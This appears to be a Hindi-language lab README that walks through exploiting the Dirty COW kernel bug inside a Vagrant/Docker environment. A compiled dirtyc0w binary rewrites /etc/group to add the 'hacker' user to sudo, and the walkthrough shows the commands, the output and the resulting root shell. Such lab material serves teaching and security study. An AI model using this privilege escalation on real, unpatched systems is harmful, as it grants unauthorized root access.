
Exploit the dirtycow vulnerability to login as root
पहले प्रोजेक्ट को क्लोन करें
git clone https://github.com/BrolyCode/Dirty-Cow.git
फ़ोल्डर में जाएं
cd Dirty-Cow
फिर कमांड से वातावरण चलाएं
vagrant up
सर्वर बनने के बाद, हम उसमें ssh करेंगे
vagrant ssh
रूट उपयोगकर्ता में बदलें
sudo -i
अब हम हैकर के रूप में लॉग इन कर सकते हैं
docker exec -it -u hacker nginx bash
जिस डायरेक्टरी में हम लॉग इन हैं, उसमें निम्नलिखित फ़ाइलें हैं
drwxrwxrwt 2 root root 4096 Nov 26 11:10 .
drwxr-xr-x 41 root root 4096 Nov 26 11:10 ..
-rwxr-xr-x 1 root root 9880 Nov 26 04:52 dirtyc0w
-rwxrwxrwx 1 root root 9880 Nov 26 04:52 dirtyc0w.c
अगर हम फ़ाइल /etc/group को cat करें तो हम देखते हैं
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:
....
हम रूट के रूप में लॉगिन करने का प्रयास कर सकते हैं
sudo -i
लेकिन सिस्टम मना करेगा, क्योंकि हमारे पास पहुंच का अधिकार नहीं है। अब हम /etc/group पर विफलता का शोषण करेंगे
./dirtyc0w
यह टर्मिनल पर निम्नलिखित प्रिंट करेगा, हमें थोड़ा समय (2/3 मिनट) इंतजार करना होगा।
mmap 7fd0facf4000
madvise 0
procselfmem 1500000000
फिर हम फिर से /etc/group को cat करेंगे
hacker@27862a2f9973:~$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:
floppy:x:25:
tape:x:26:
sudo:x:27:hacker
...
रूट के रूप में लॉगिन करें
sudo -i
root@27862a2f9973:~#
अपने होस्ट मशीन के टर्मिनल पर वापस जाएं और vagrant destroy कमांड दें